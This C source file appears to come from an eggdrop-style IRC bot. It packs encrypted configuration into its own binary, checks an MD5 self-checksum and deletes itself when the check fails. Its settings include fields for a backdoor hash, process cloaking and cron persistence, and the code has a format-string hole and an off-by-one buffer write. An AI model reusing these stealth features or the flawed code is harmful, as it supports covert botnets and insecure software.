binary.c 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440
  1. /*
  2. * binary.c -- handles:
  3. * misc update functions
  4. * md5 hash verifying
  5. *
  6. */
  7. #include "common.h"
  8. #include "binary.h"
  9. #include "settings.h"
  10. #include "crypt.h"
  11. #include "shell.h"
  12. #include "misc.h"
  13. #include "main.h"
  14. #include "misc_file.h"
  15. /*
  16. typedef struct encdata_struct {
  17. char prefix[PREFIXLEN];
  18. char data[65];
  19. } encdata_t;
  20. static encdata_t encdata = {
  21. "AAAAAAAAAAAAAAAA",
  22. ""
  23. };
  24. */
  25. settings_t settings = {
  26. "AAAAAAAAAAAAAAA",
  27. /* -- STATIC -- */
  28. "", "", "", "", "", "", "", "", "", "",
  29. /* -- DYNAMIC -- */
  30. "", "", "", "", "", "", "", "", "", "", "", "", "",
  31. /* -- PADDING */
  32. ""
  33. };
  34. #define PACK_ENC 1
  35. #define PACK_DEC 2
  36. static void edpack(settings_t *, const char *, int);
  37. int checked_bin_buf = 0;
  38. static char *
  39. bin_checksum(const char *fname, int todo, MD5_CTX * ctx)
  40. {
  41. static char hash[MD5_HASH_LENGTH + 1] = "";
  42. unsigned char md5out[MD5_HASH_LENGTH + 1] = "", buf[PREFIXLEN + 1] = "";
  43. FILE *f = NULL;
  44. size_t len = 0;
  45. checked_bin_buf++;
  46. hash[0] = 0;
  47. if (todo == GET_CHECKSUM) {
  48. if (!(f = fopen(fname, "rb")))
  49. werr(ERR_BINSTAT);
  50. while ((len = fread(buf, 1, sizeof buf - 1, f))) {
  51. if (!memcmp(buf, &settings.prefix, PREFIXLEN))
  52. break;
  53. MD5_Update(ctx, buf, len);
  54. }
  55. fclose(f);
  56. MD5_Final(md5out, ctx);
  57. strlcpy(hash, btoh(md5out, MD5_DIGEST_LENGTH), sizeof(hash));
  58. OPENSSL_cleanse(&ctx, sizeof(ctx));
  59. }
  60. if (todo & WRITE_CHECKSUM) {
  61. Tempfile *newbin = new Tempfile("bin");
  62. char *fname_bak = NULL;
  63. size_t size = 0, skip_bytes = 0, pos = 0;
  64. size = strlen(fname) + 2;
  65. fname_bak = (char *) my_calloc(1, size);
  66. egg_snprintf(fname_bak, size, "%s~", fname);
  67. size = 0;
  68. if (!(f = fopen(fname, "rb")))
  69. werr(ERR_BINSTAT);
  70. fseek(f, 0, SEEK_END);
  71. size = ftell(f);
  72. fseek(f, 0, SEEK_SET);
  73. pos = 0;
  74. while ((len = fread(buf, 1, sizeof(buf) - 1, f))) {
  75. if (skip_bytes) { /* to skip bytes for pack data */
  76. skip_bytes -= sizeof(buf) - 1;
  77. continue;
  78. }
  79. // if (fwrite(buf, sizeof(buf) - 1, 1, newbin->f) != 1) {
  80. if (fwrite(buf, 1, len, newbin->f) != len) {
  81. fclose(f);
  82. delete newbin;
  83. werr(ERR_BINSTAT);
  84. }
  85. pos += len;
  86. if (!memcmp(buf, &settings.prefix, PREFIXLEN)) { /* found the settings struct! */
  87. MD5_Final(md5out, ctx);
  88. strlcpy(hash, btoh(md5out, MD5_DIGEST_LENGTH), sizeof(hash));
  89. OPENSSL_cleanse(&ctx, sizeof(ctx));
  90. strlcpy(settings.hash, hash, 65);
  91. edpack(&settings, hash, PACK_ENC); /* encrypt the entire struct with the hash (including hash) */
  92. /* just write both for now */
  93. todo |= WRITE_PACK|WRITE_CONF;
  94. if (todo & WRITE_PACK) {
  95. skip_bytes += SIZE_PACK;
  96. fwrite(&settings.hash, SIZE_PACK, 1, newbin->f);
  97. sdprintf("writing pack: %d\n", SIZE_PACK);
  98. } else {
  99. fread(buf, 1, SIZE_PACK, f);
  100. fwrite(buf, 1, SIZE_PACK, newbin->f);
  101. }
  102. // fseek(newbin->f, pos + SIZE_PACK, SEEK_SET);
  103. pos += SIZE_PACK;
  104. if (todo & WRITE_CONF) {
  105. skip_bytes += SIZE_CONF;
  106. fwrite(&settings.bots, SIZE_CONF, 1, newbin->f);
  107. sdprintf("writing conf: %d\n", SIZE_CONF);
  108. } else {
  109. fread(buf, 1, SIZE_CONF, f);
  110. fwrite(buf, 1, SIZE_CONF, newbin->f);
  111. }
  112. // fseek(newbin->f, pos + SIZE_CONF, SEEK_SET);
  113. pos += SIZE_CONF;
  114. skip_bytes += SIZE_PAD;
  115. fseek(newbin->f, pos + SIZE_PAD, SEEK_SET);
  116. pos += SIZE_PAD;
  117. } else if (!hash[0])
  118. MD5_Update(ctx, buf, len);
  119. }
  120. fclose(f);
  121. if (movefile(fname, fname_bak))
  122. fatal("Crappy os :D", 0);
  123. if (movefile(newbin->file, fname))
  124. fatal("Crappy os :D", 0);
  125. fixmod(fname);
  126. unlink(fname_bak);
  127. delete newbin;
  128. }
  129. return hash;
  130. }
  131. static int
  132. readcfg(const char *cfgfile)
  133. {
  134. FILE *f = NULL;
  135. if ((f = fopen(cfgfile, "r")) == NULL) {
  136. printf("Error: Can't open '%s' for reading\n", cfgfile);
  137. exit(1);
  138. }
  139. char *buffer = NULL, *p = NULL;
  140. int skip = 0, line = 0;
  141. printf("Reading '%s' ", cfgfile);
  142. while ((!feof(f)) && ((buffer = step_thru_file(f)) != NULL)) {
  143. line++;
  144. if ((*buffer)) {
  145. if (strchr(buffer, '\n'))
  146. *(char *) strchr(buffer, '\n') = 0;
  147. if ((skipline(buffer, &skip)))
  148. continue;
  149. if (strchr(buffer, '<') || strchr(buffer, '>')) {
  150. printf(" Failed\n");
  151. printf("%s:%d: error: Look at your configuration file again...\n", cfgfile, line);
  152. exit(1);
  153. }
  154. p = strchr(buffer, ' ');
  155. while (p && (strchr(LISTSEPERATORS, p[0])))
  156. *p++ = 0;
  157. if (p) {
  158. if (!egg_strcasecmp(buffer, "packname")) {
  159. strlcpy(settings.packname, trim(p), sizeof settings.packname);
  160. printf(".");
  161. } else if (!egg_strcasecmp(buffer, "shellhash")) {
  162. strlcpy(settings.shellhash, trim(p), sizeof settings.shellhash);
  163. printf(".");
  164. } else if (!egg_strcasecmp(buffer, "bdhash")) {
  165. strlcpy(settings.bdhash, trim(p), sizeof settings.bdhash);
  166. printf(".");
  167. } else if (!egg_strcasecmp(buffer, "dccprefix")) {
  168. strlcpy(settings.dcc_prefix, trim(p), sizeof settings.dcc_prefix);
  169. printf(".");
  170. } else if (!egg_strcasecmp(buffer, "owner")) {
  171. strcat(settings.owners, trim(p));
  172. strcat(settings.owners, ",");
  173. printf(".");
  174. } else if (!egg_strcasecmp(buffer, "owneremail")) {
  175. strcat(settings.owneremail, trim(p));
  176. strcat(settings.owneremail, ",");
  177. printf(".");
  178. } else if (!egg_strcasecmp(buffer, "hub")) {
  179. strcat(settings.hubs, trim(p));
  180. strcat(settings.hubs, ",");
  181. printf(".");
  182. } else if (!egg_strcasecmp(buffer, "salt1")) {
  183. strcat(settings.salt1, trim(p));
  184. printf(".");
  185. } else if (!egg_strcasecmp(buffer, "salt2")) {
  186. strcat(settings.salt2, trim(p));
  187. printf(".");
  188. } else {
  189. printf("%s %s\n", buffer, p);
  190. printf(",");
  191. }
  192. }
  193. }
  194. buffer = NULL;
  195. }
  196. if (f)
  197. fclose(f);
  198. if (!settings.salt1[0] || !settings.salt2[0]) {
  199. /* Write salts back to the cfgfile */
  200. char salt1[SALT1LEN + 1] = "", salt2[SALT2LEN + 1] = "";
  201. printf("Creating Salts");
  202. if ((f = fopen(cfgfile, "a")) == NULL) {
  203. printf("Cannot open cfgfile for appending.. aborting\n");
  204. exit(1);
  205. }
  206. make_rand_str(salt1, SALT1LEN);
  207. make_rand_str(salt2, SALT2LEN);
  208. salt1[sizeof salt1] = salt2[sizeof salt2] = 0;
  209. fprintf(f, "SALT1 %s\n", salt1);
  210. fprintf(f, "SALT2 %s\n", salt2);
  211. fflush(f);
  212. fclose(f);
  213. }
  214. printf(" Success\n");
  215. return 1;
  216. }
  217. static void edpack(settings_t *incfg, const char *hash, int what)
  218. {
  219. char *tmp = NULL;
  220. char *(*enc_dec_string)(const char *, char *);
  221. if (what == PACK_ENC)
  222. enc_dec_string = encrypt_string;
  223. else
  224. enc_dec_string = decrypt_string;
  225. #define dofield(_field) do { \
  226. tmp = enc_dec_string(hash, _field); \
  227. egg_snprintf(_field, sizeof(_field), tmp); \
  228. free(tmp); \
  229. } while (0)
  230. /* -- STATIC -- */
  231. dofield(incfg->hash);
  232. dofield(incfg->packname);
  233. dofield(incfg->shellhash);
  234. dofield(incfg->bdhash);
  235. dofield(incfg->dcc_prefix);
  236. dofield(incfg->owners);
  237. dofield(incfg->owneremail);
  238. dofield(incfg->hubs);
  239. /* -- DYNAMIC -- */
  240. //printf("BOTS: %s\n", incfg->bots);
  241. dofield(incfg->bots);
  242. //printf("EBOTS: %s\n", incfg->bots);
  243. dofield(incfg->uid);
  244. dofield(incfg->autouname);
  245. dofield(incfg->pscloak);
  246. dofield(incfg->autocron);
  247. dofield(incfg->watcher);
  248. dofield(incfg->uname);
  249. dofield(incfg->username);
  250. dofield(incfg->homedir);
  251. dofield(incfg->binpath);
  252. dofield(incfg->binname);
  253. dofield(incfg->portmin);
  254. dofield(incfg->portmax);
  255. #undef dofield
  256. }
  257. /*
  258. static void
  259. tellconfig(settings_t *incfg)
  260. {
  261. #define dofield(_field) printf("%s: %s\n", #_field, _field);
  262. // -- STATIC --
  263. dofield(incfg->hash);
  264. dofield(incfg->packname);
  265. dofield(incfg->shellhash);
  266. dofield(incfg->bdhash);
  267. dofield(incfg->dcc_prefix);
  268. dofield(incfg->owners);
  269. dofield(incfg->owneremail);
  270. dofield(incfg->hubs);
  271. // -- DYNAMIC --
  272. dofield(incfg->bots);
  273. dofield(incfg->uid);
  274. dofield(incfg->autouname);
  275. dofield(incfg->pscloak);
  276. dofield(incfg->autocron);
  277. dofield(incfg->watcher);
  278. dofield(incfg->uname);
  279. dofield(incfg->username);
  280. dofield(incfg->homedir);
  281. dofield(incfg->binpath);
  282. dofield(incfg->binname);
  283. dofield(incfg->portmin);
  284. dofield(incfg->portmax);
  285. #undef dofield
  286. }
  287. */
  288. void
  289. check_sum(const char *fname, const char *cfgfile)
  290. {
  291. MD5_CTX ctx;
  292. MD5_Init(&ctx);
  293. if (!settings.hash[0]) {
  294. if (!cfgfile)
  295. fatal("Binary not initialized.", 0);
  296. readcfg(cfgfile);
  297. // tellconfig(&settings);
  298. if (bin_checksum(fname, WRITE_CHECKSUM, &ctx))
  299. printf("* Wrote settings to binary.\n");
  300. exit(0);
  301. } else {
  302. char *hash = bin_checksum(fname, GET_CHECKSUM, &ctx);
  303. // tellconfig(&settings);
  304. edpack(&settings, hash, PACK_DEC);
  305. // tellconfig(&settings);
  306. if (strcmp(settings.hash, hash)) {
  307. unlink(fname);
  308. fatal("!! Invalid binary", 0);
  309. }
  310. }
  311. }
  312. static bool check_bin_initialized(const char *fname)
  313. {
  314. int i = 0;
  315. size_t len = strlen(fname) + 3 + 1;
  316. char *path = (char *) calloc(1, len);
  317. egg_snprintf(path, len, "%s -p", fname);
  318. i = system(path);
  319. free(path);
  320. if (i != -1 && WEXITSTATUS(i) == 4)
  321. return 1;
  322. return 0;
  323. }
  324. void write_settings(const char *fname, int die)
  325. {
  326. MD5_CTX ctx;
  327. char *hash = NULL;
  328. MD5_Init(&ctx);
  329. /* see if the binary is already initialized or not */
  330. bool initialized = check_bin_initialized(fname);
  331. if ((hash = bin_checksum(fname, WRITE_CHECKSUM, &ctx))) {
  332. printf("* Wrote settings to: %s.\n", fname);
  333. if (die == -1) /* only bother decrypting if we aren't about to exit */
  334. edpack(&settings, hash, PACK_DEC);
  335. }
  336. if (die >= 0)
  337. exit(die);
  338. }
  339. static void
  340. clear_settings(void)
  341. {
  342. memset(&settings.bots, 0, sizeof(settings_t) - 3467);
  343. }
  344. void conf_to_bin(conf_t *in, bool move)
  345. {
  346. conf_bot *bot = NULL;
  347. char *newbin = NULL;
  348. clear_settings();
  349. sdprintf("converting conf to bin\n");
  350. sprintf(settings.uid, "%d", in->uid);
  351. sprintf(settings.watcher, "%d", in->watcher);
  352. sprintf(settings.autocron, "%d", in->autocron);
  353. sprintf(settings.autouname, "%d", in->autouname);
  354. sprintf(settings.portmin, "%d", in->portmin);
  355. sprintf(settings.portmax, "%d", in->portmax);
  356. sprintf(settings.pscloak, "%d", in->pscloak);
  357. strlcpy(settings.binname, in->binname, 16);
  358. strlcpy(settings.username, in->username, 16);
  359. strlcpy(settings.uname, in->uname, 350);
  360. strlcpy(settings.homedir, in->homedir, 350);
  361. strlcpy(settings.binpath, in->binpath, 350);
  362. for (bot = in->bots; bot && bot->nick; bot = bot->next) {
  363. sprintf(settings.bots, "%s%s %s %s%s %s,", settings.bots && settings.bots[0] ? settings.bots : "",
  364. bot->nick,
  365. bot->net.ip ? bot->net.ip : ".",
  366. bot->net.host6 ? "+" : "",
  367. bot->net.host ? bot->net.host : (bot->net.host6 ? bot->net.host6 : "."),
  368. bot->net.ip6 ? bot->net.ip6 : "");
  369. }
  370. if (move)
  371. newbin = move_bin(in->binpath, in->binname, 0);
  372. else
  373. newbin = binname;
  374. /* tellconfig(&settings); */
  375. write_settings(newbin, 1);
  376. }